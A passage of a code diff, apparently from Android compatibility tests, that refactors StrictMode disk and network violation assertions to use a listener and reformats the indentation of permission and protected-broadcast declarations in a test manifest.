+ assertViolation("Untagged socket detected", () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ });
}
public void testRead() throws Exception {
final File test = File.createTempFile("foo", "bar");
final File dir = test.getParentFile();
- FileInputStream is = null;
- FileDescriptor fd = null;
+ final FileInputStream is = new FileInputStream(test);
+ final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
.detectDiskReads()
.penaltyLog()
.build());
- SystemClock.sleep(1500);
-
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+ assertViolation("StrictModeDiskReadViolation", () -> {
test.exists();
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
test.length();
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
dir.list();
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
- is = new FileInputStream(test);
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
+ new FileInputStream(test);
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
is.read();
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
- fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
- }
- try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
+ Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+ });
+ assertViolation("StrictModeDiskReadViolation", () -> {
Os.read(fd, new byte[10], 0, 1);
- }
+ });
}
public void testWrite() throws Exception {
- File file = null;
+ File file = File.createTempFile("foo", "bar");
- FileOutputStream os = null;
- FileDescriptor fd = null;
+ final FileOutputStream os = new FileOutputStream(file);
+ final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
.detectDiskWrites()
.penaltyLog()
.build());
- SystemClock.sleep(1500);
-
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
- file = File.createTempFile("foo", "bar");
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ assertViolation("StrictModeDiskWriteViolation", () -> {
+ File.createTempFile("foo", "bar");
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
file.delete();
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
file.createNewFile();
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
- os = new FileOutputStream(file);
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
+ new FileOutputStream(file);
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
os.write(32);
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
- fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
+ Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
Os.write(fd, new byte[10], 0, 1);
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
Os.fsync(fd);
- }
- try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+ });
+ assertViolation("StrictModeDiskWriteViolation", () -> {
file.renameTo(new File(file.getParent(), "foobar"));
- }
+ });
}
public void testNetwork() throws Exception {
@@ -290,75 +293,66 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- assertLogged("StrictModeNetworkViolation", mark);
+ assertViolation("StrictModeNetworkViolation", () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ });
- mark = System.currentTimeMillis();
- ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
- assertLogged("StrictModeNetworkViolation", mark);
+ assertViolation("StrictModeNetworkViolation", () -> {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ });
}
- private static class AssertLogged implements AutoCloseable {
- private final String mMessage;
- private final long mStart;
+ private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
+ final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+ StrictMode.setViolationListener(new ViolationListener() {
+ @Override
+ public void onViolation(String message) {
+ violations.add(message);
+ }
+ });
- public AssertLogged(String message) {
- mMessage = message;
- mStart = System.currentTimeMillis();
- }
-
- @Override
- public void close() throws Exception {
- assertLogged(mMessage, mStart);
+ try {
+ r.run();
+ while (true) {
+ final String violation = violations.poll(5, TimeUnit.SECONDS);
+ if (violation == null) {
+ fail("Expected violation not found: " + expected);
+ } else if (violation.contains(expected)) {
+ return;
+ }
+ }
+ } finally {
+ StrictMode.setViolationListener(null);
}
}
- private static class AssertDiskReadLogged extends AssertLogged {
- public AssertDiskReadLogged() {
- super("StrictModeDiskReadViolation");
+ private static void assertNoViolation(ThrowingRunnable r) throws Exception {
+ final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+ StrictMode.setViolationListener(new ViolationListener() {
+ @Override
+ public void onViolation(String message) {
+ violations.add(message);
+ }
+ });
+
+ try {
+ r.run();
+ while (true) {
+ final String violation = violations.poll(5, TimeUnit.SECONDS);
+ if (violation == null) {
+ return;
+ } else {
+ fail("Unexpected violation found: " + violation);
+ }
+ }
+ } finally {
+ StrictMode.setViolationListener(null);
}
}
- private static class AssertDiskWriteLogged extends AssertLogged {
- public AssertDiskWriteLogged() {
- super("StrictModeDiskWriteViolation");
- }
- }
-
- private static void assertLogged(String msg, long since) throws Exception {
- assertLogged(msg, since, 1100);
- }
-
- private static void assertLogged(String msg, long since, long wait) throws Exception {
- SystemClock.sleep(wait);
- assertTrue("Expected message not found: " + msg, readLogSince(since).contains(msg));
- }
-
- private static void assertNotLogged(String msg, long since) throws Exception {
- assertNotLogged(msg, since, 1100);
- }
-
- private static void assertNotLogged(String msg, long since, long wait) throws Exception {
- SystemClock.sleep(wait);
- assertFalse("Unexpected message found: " + msg, readLogSince(since).contains(msg));
- }
-
- private static String readLogSince(long millis) throws Exception {
- final SimpleDateFormat format = new SimpleDateFormat("MM-dd HH:mm:ss.SSS");
- final Process proc = new ProcessBuilder("logcat", "-t", format.format(new Date(millis)))
- .redirectErrorStream(true).start();
-
- final ByteArrayOutputStream buf = new ByteArrayOutputStream();
- Streams.copy(proc.getInputStream(), buf);
- final int res = proc.waitFor();
-
- Log.d(TAG, "Log output was " + buf.size() + " bytes, exit code " + res);
- return new String(buf.toByteArray());
- }
-
private boolean hasInternetConnection() {
final PackageManager pm = getContext().getPackageManager();
return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index e547c13..8ed76de 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -18,8 +18,8 @@
*/
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android" coreApp="true" android:sharedUserId="android.uid.system"
- android:sharedUserLabel="@string/android_system_label">
+ package="android" coreApp="true" android:sharedUserId="android.uid.system"
+ android:sharedUserLabel="@string/android_system_label">
<!-- ================================================ -->
<!-- Special broadcasts that only the system can send -->
@@ -149,59 +149,59 @@
<protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
<protected-broadcast
- android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
+ android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
+ android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
<protected-broadcast
- android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
+ android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
+ android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
+ android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
+ android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
+ android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+ android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
<protected-broadcast
- android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
<protected-broadcast
- android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+ android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
<protected-broadcast
- android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
+ android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
<protected-broadcast
- android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -363,11 +363,11 @@
<protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
<protected-broadcast
- android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
+ android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
<!-- Defined in RestrictionsManager -->
<protected-broadcast
- android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
+ android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
<!-- Defined in RestrictionsManager -->
<protected-broadcast android:name="android.intent.action.REQUEST_PERMISSION" />
@@ -553,28 +553,28 @@
<!-- Used for runtime permissions related to contacts and profiles on this
device. -->
<permission-group android:name="android.permission-group.CONTACTS"
- android:icon="@drawable/perm_group_contacts"
- android:label="@string/permgrouplab_contacts"
- android:description="@string/permgroupdesc_contacts"
- android:priority="100" />
+ android:icon="@drawable/perm_group_contacts"
+ android:label="@string/permgrouplab_contacts"
+ android:description="@string/permgroupdesc_contacts"
+ android:priority="100" />
<!-- Allows an application to read the user's contacts data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CONTACTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:label="@string/permlab_readContacts"
- android:description="@string/permdesc_readContacts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:label="@string/permlab_readContacts"
+ android:description="@string/permdesc_readContacts"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write the user's contacts data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CONTACTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:label="@string/permlab_writeContacts"
- android:description="@string/permdesc_writeContacts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:label="@string/permlab_writeContacts"
+ android:description="@string/permdesc_writeContacts"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing user's calendar -->
@@ -583,28 +583,28 @@
<!-- Used for runtime permissions related to user's calendar. -->
<permission-group android:name="android.permission-group.CALENDAR"
- android:icon="@drawable/perm_group_calendar"
- android:label="@string/permgrouplab_calendar"
- android:description="@string/permgroupdesc_calendar"
- android:priority="200" />
+ android:icon="@drawable/perm_group_calendar"
+ android:label="@string/permgrouplab_calendar"
+ android:description="@string/permgroupdesc_calendar"
+ android:priority="200" />
<!-- Allows an application to read the user's calendar data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALENDAR"
- android:permissionGroup="android.permission-group.CALENDAR"
- android:label="@string/permlab_readCalendar"
- android:description="@string/permdesc_readCalendar"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CALENDAR"
+ android:label="@string/permlab_readCalendar"
+ android:description="@string/permdesc_readCalendar"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write the user's calendar data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALENDAR"
- android:permissionGroup="android.permission-group.CALENDAR"
- android:label="@string/permlab_writeCalendar"
- android:description="@string/permdesc_writeCalendar"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CALENDAR"
+ android:label="@string/permlab_writeCalendar"
+ android:description="@string/permdesc_writeCalendar"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing and modifying user's SMS messages -->
@@ -613,56 +613,56 @@
<!-- Used for runtime permissions related to user's SMS messages. -->
<permission-group android:name="android.permission-group.SMS"
- android:icon="@drawable/perm_group_sms"
- android:label="@string/permgrouplab_sms"
- android:description="@string/permgroupdesc_sms"
- android:priority="300" />
+ android:icon="@drawable/perm_group_sms"
+ android:label="@string/permgrouplab_sms"
+ android:description="@string/permgroupdesc_sms"
+ android:priority="300" />
<!-- Allows an application to send SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.SEND_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_sendSms"
- android:description="@string/permdesc_sendSms"
- android:permissionFlags="costsMoney"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_sendSms"
+ android:description="@string/permdesc_sendSms"
+ android:permissionFlags="costsMoney"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to receive SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveSms"
- android:description="@string/permdesc_receiveSms"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveSms"
+ android:description="@string/permdesc_receiveSms"
+ android:protectionLevel="dangerous"/>
<!-- Allows an application to read SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_readSms"
- android:description="@string/permdesc_readSms"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_readSms"
+ android:description="@string/permdesc_readSms"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to receive WAP push messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_WAP_PUSH"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveWapPush"
- android:description="@string/permdesc_receiveWapPush"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveWapPush"
+ android:description="@string/permdesc_receiveWapPush"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to monitor incoming MMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_MMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveMms"
- android:description="@string/permdesc_receiveMms"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveMms"
+ android:description="@string/permdesc_receiveMms"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to read previously received cell broadcast
messages and to register a content observer to get notifications when
@@ -677,10 +677,10 @@
<p>Protection level: dangerous
@hide Pending API council approval -->
<permission android:name="android.permission.READ_CELL_BROADCASTS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_readCellBroadcasts"
- android:description="@string/permdesc_readCellBroadcasts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_readCellBroadcasts"
+ android:description="@string/permdesc_readCellBroadcasts"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing external storage -->
@@ -689,10 +689,10 @@
<!-- Used for runtime permissions related to the shared external storage. -->
<permission-group android:name="android.permission-group.STORAGE"
- android:icon="@drawable/perm_group_storage"
- android:label="@string/permgrouplab_storage"
- android:description="@string/permgroupdesc_storage"
- android:priority="900" />
+ android:icon="@drawable/perm_group_storage"
+ android:label="@string/permgrouplab_storage"
+ android:description="@string/permgroupdesc_storage"
+ android:priority="900" />
<!-- Allows an application to read from external storage.
<p>Any app that declares the {@link #WRITE_EXTERNAL_STORAGE} permission is implicitly
@@ -717,10 +717,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_EXTERNAL_STORAGE"
- android:permissionGroup="android.permission-group.STORAGE"
- android:label="@string/permlab_sdcardRead"
- android:description="@string/permdesc_sdcardRead"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.STORAGE"
+ android:label="@string/permlab_sdcardRead"
+ android:description="@string/permdesc_sdcardRead"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write to external storage.
<p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -738,10 +738,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
- android:permissionGroup="android.permission-group.STORAGE"
- android:label="@string/permlab_sdcardWrite"
- android:description="@string/permdesc_sdcardWrite"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.STORAGE"
+ android:label="@string/permlab_sdcardWrite"
+ android:description="@string/permdesc_sdcardWrite"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device location -->
@@ -750,30 +750,30 @@
<!-- Used for permissions that allow accessing the device location. -->
<permission-group android:name="android.permission-group.LOCATION"
- android:icon="@drawable/perm_group_location"
- android:label="@string/permgrouplab_location"
- android:description="@string/permgroupdesc_location"
- android:priority="400" />
+ android:icon="@drawable/perm_group_location"
+ android:label="@string/permgrouplab_location"
+ android:description="@string/permgroupdesc_location"
+ android:priority="400" />
<!-- Allows an app to access precise location.
Alternatively, you might want {@link #ACCESS_COARSE_LOCATION}.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_FINE_LOCATION"
- android:permissionGroup="android.permission-group.LOCATION"
- android:label="@string/permlab_accessFineLocation"
- android:description="@string/permdesc_accessFineLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:label="@string/permlab_accessFineLocation"
+ android:description="@string/permdesc_accessFineLocation"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- Allows an app to access approximate location.
Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_COARSE_LOCATION"
- android:permissionGroup="android.permission-group.LOCATION"
- android:label="@string/permlab_accessCoarseLocation"
- android:description="@string/permdesc_accessCoarseLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:label="@string/permlab_accessCoarseLocation"
+ android:description="@string/permdesc_accessCoarseLocation"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device telephony -->
@@ -782,10 +782,10 @@
<!-- Used for permissions that are associated telephony features. -->
<permission-group android:name="android.permission-group.PHONE"
- android:icon="@drawable/perm_group_phone_calls"
- android:label="@string/permgrouplab_phone"
- android:description="@string/permgroupdesc_phone"
- android:priority="500" />
+ android:icon="@drawable/perm_group_phone_calls"
+ android:label="@string/permgrouplab_phone"
+ android:description="@string/permgroupdesc_phone"
+ android:priority="500" />
<!-- Allows read only access to phone state, including the phone number of the device,
current cellular network information, the status of any ongoing calls, and a list of any
@@ -801,30 +801,30 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_PHONE_STATE"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readPhoneState"
- android:description="@string/permdesc_readPhoneState"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readPhoneState"
+ android:description="@string/permdesc_readPhoneState"
+ android:protectionLevel="dangerous" />
<!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
<p>Protection level: dangerous-->
<permission android:name="android.permission.READ_PHONE_NUMBERS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readPhoneNumbers"
- android:description="@string/permdesc_readPhoneNumbers"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readPhoneNumbers"
+ android:description="@string/permdesc_readPhoneNumbers"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- Allows an application to initiate a phone call without going through
the Dialer user interface for the user to confirm the call.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CALL_PHONE"
- android:permissionGroup="android.permission-group.PHONE"
- android:permissionFlags="costsMoney"
- android:label="@string/permlab_callPhone"
- android:description="@string/permdesc_callPhone"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:permissionFlags="costsMoney"
+ android:label="@string/permlab_callPhone"
+ android:description="@string/permdesc_callPhone"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to access the IMS call service: making and
modifying a call
@@ -832,10 +832,10 @@
@hide
-->
<permission android:name="android.permission.ACCESS_IMS_CALL_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_accessImsCallService"
- android:description="@string/permdesc_accessImsCallService"
- android:protectionLevel="signature|privileged" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_accessImsCallService"
+ android:description="@string/permdesc_accessImsCallService"
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to read the user's call log.
<p class="note"><strong>Note:</strong> If your app uses the
@@ -850,10 +850,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALL_LOG"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readCallLog"
- android:description="@string/permdesc_readCallLog"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readCallLog"
+ android:description="@string/permdesc_readCallLog"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write (but not read) the user's
call log data.
@@ -869,28 +869,28 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALL_LOG"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_writeCallLog"
- android:description="@string/permdesc_writeCallLog"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_writeCallLog"
+ android:description="@string/permdesc_writeCallLog"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to add voicemails into the system.
<p>Protection level: dangerous
-->
<permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_addVoicemail"
- android:description="@string/permdesc_addVoicemail"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_addVoicemail"
+ android:description="@string/permdesc_addVoicemail"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to use SIP service.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.USE_SIP"
- android:permissionGroup="android.permission-group.PHONE"
- android:description="@string/permdesc_use_sip"
- android:label="@string/permlab_use_sip"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:description="@string/permdesc_use_sip"
+ android:label="@string/permlab_use_sip"
+ android:protectionLevel="dangerous"/>
<!-- Allows an application to see the number being dialed during an outgoing
call with the option to redirect the call to a different number or
@@ -898,20 +898,20 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_processOutgoingCalls"
- android:description="@string/permdesc_processOutgoingCalls"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_processOutgoingCalls"
+ android:description="@string/permdesc_processOutgoingCalls"
+ android:protectionLevel="dangerous" />
<!-- Allows the app to answer an incoming phone call.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ANSWER_PHONE_CALLS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_answerPhoneCalls"
- android:description="@string/permdesc_answerPhoneCalls"
- android:protectionLevel="dangerous|runtime" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_answerPhoneCalls"
+ android:description="@string/permdesc_answerPhoneCalls"
+ android:protectionLevel="dangerous|runtime" />
<!-- Allows a calling application which manages it own calls through the self-managed
{@link android.telecom.ConnectionService} APIs. See
@@ -933,19 +933,19 @@
microphone audio from the device. Note that phone calls also capture audio
but are in a separate (more visible) permission group. -->
<permission-group android:name="android.permission-group.MICROPHONE"
- android:icon="@drawable/perm_group_microphone"
- android:label="@string/permgrouplab_microphone"
- android:description="@string/permgroupdesc_microphone"
- android:priority="600" />
+ android:icon="@drawable/perm_group_microphone"
+ android:label="@string/permgrouplab_microphone"
+ android:description="@string/permgroupdesc_microphone"
+ android:priority="600" />
<!-- Allows an application to record audio.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECORD_AUDIO"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:label="@string/permlab_recordAudio"
- android:description="@string/permdesc_recordAudio"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:label="@string/permlab_recordAudio"
+ android:description="@string/permdesc_recordAudio"
+ android:protectionLevel="dangerous"/>
